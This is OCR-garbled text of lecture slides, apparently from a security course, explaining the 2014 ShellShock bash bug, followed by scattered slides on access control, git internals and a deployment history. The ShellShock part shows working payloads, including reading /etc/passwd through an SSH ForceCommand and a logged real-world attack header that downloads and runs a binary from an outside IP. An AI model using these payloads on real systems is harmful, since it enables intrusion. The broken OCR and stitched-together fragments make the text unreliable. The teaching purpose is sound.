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#ShellShock

nat is ShellShock?
hat is Bash?
nat are environment variables

nat attacks are possible



ShellShock

e Bugsincode parsing
e Arbitrary code execution
e Wikiepdia has provided an in-depth explanation


https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details) has a detailed explanation.

Bash

e Bashis ashell, where your typed commands are executed

>/bin/ls /Users/peter/develop/showterm.io

Gemfile bin public...

e Not all information is spelled out when executing a command.

>1s
Gemfile bin public...

e Instead, they come from the environment.

>env | egrep -i "“pwd|“path"

PWD=/Users/peter/develop/showterm. io
PATH=.../usr/bin:/bin:/usr/sbin:/sbin:...




Environment
What is it anyway?

e Variables set by software

e Exists to provide information about "Execution Environment”
e Ruby on Rails, NodelJS, SSH, etc.



Examples

e Ruby on Rails for initialize a database for production
environment

>bundle exec rake db:create db:migrate db:seed RAILS ENV=production

e NodelS

>PORT=8081 node express.js

e Makefile

>make exec userfile="userfile.txt"




S0 what's the problem?



() { :}; Problem in depth

() is anameless function definition

: IS ano-op command in bash

() { :;}; lookslike just aempty function does nothing
However, if assigned to environment variable, anything after
that is executed before next command.

>XXX="'() { :;}; /bin/ls /' bash -c :
bin cte etc lib media opt root sbin sys usr

boot dev home 1lib64 mnt proc run Srv tmp var
Segmentation fault

What else can we replace with Is command?



Simple Version

SSHD Config:

Match User peter

ForceCommand echo "I can echo"

Command Execution;

&® -~ ssh 172.17.1.7

I can echo

&® -~ ssh 172.17.1.7 "1s /"
I can echo

® -~ ssh 172.17.1.7 '() { :;}; cat /etc/passwd'’
root:x:0:0:root:/root:/bin/bash

Why?

SSH_ORIGINAL COMMAND is set before command execution

References:

¢ http://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
o https://github.com/mubix/shellshocker-pocs/blob/master/README.md

e http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html



Real Attacks

Attacks to our cs server

Sep 25 10:51:00 web2 logger: www.cs.columbia.edu:80 82.118.242.223 - -
[25/Sep/2014:10:51:00 -0400] "GET /~sc2516/proj netflow.html HTTP/1.1"
200 1347 "-" "() { :; }; /bin/bash -c \"if [ $(/bin/uname -m |

/bin/grep 64) ]; then /usr/bin/wget 82.118.242.223:5487/v64 -0
/tmp/.osock; else /usr/bin/wget 82.118.242.223:5487/v -0 /tmp/.osock;
fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &\""

o AttackviaHTTP-AGENT header
e Hopes CGI-Application sets the header in the environment




How is the impact so ftar?

Software Affected (Link)


https://github.com/mubix/shellshocker-pocs/blob/master/README.md

ACL

ACL


http://localhost:8000/l_case-acl.pdf

Homework 2

e You have todeal with "OTHER USERS"

e File Repository as aservice
e SETUID execution



Complexity on Access Control
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Hacking Git

>git init && echo "dog" > dog.txt
>git add dog.txt && git commit -am "dog"

>git cat-file -p tree
>git hash-object -w cat.txt
>swap




Why Version Control

peterdu

&3 DASHBOARD DEPLOYMENTS MONITOR WEBJOBS CONFIGURE SCALE LINKED RESOURCES BACKUPS

deployment history

Wednesday, September 03, 2014 5:01 PM
Revert to the standard version

ID: Bdef3d95d5 AUTHOR: Peter Du  DEPLOYED BY: nugetgalleryuser

Wednesday, September 03, 2014 4:54 PM

Entire website over SSL

ID: deeldbdd2l AUTHOR: Peter Du  DEPLOYED BY: nugetgalleryuser

Wednesday, September 03, 2014 4:50 PM
Disable Redirect
ID: 21a3b000Sf AUTHOR: Peter Du  DEPLOYED BY: nugetgalleryuser

Wednesday, September 03, 2014 4:58 PM

force admin ss|

ID: d79ecfBad3 AUTHOR: Peter Du  DEPLOYED BY: $peterdu

Wednesday, September 03, 2014 4:55 PM

Ignore development database Add Production Email information

cBofoMo e

ID: dedB64fcB3 AUTHOR: Peter Du  DEPLOYED BY: 3peterdu




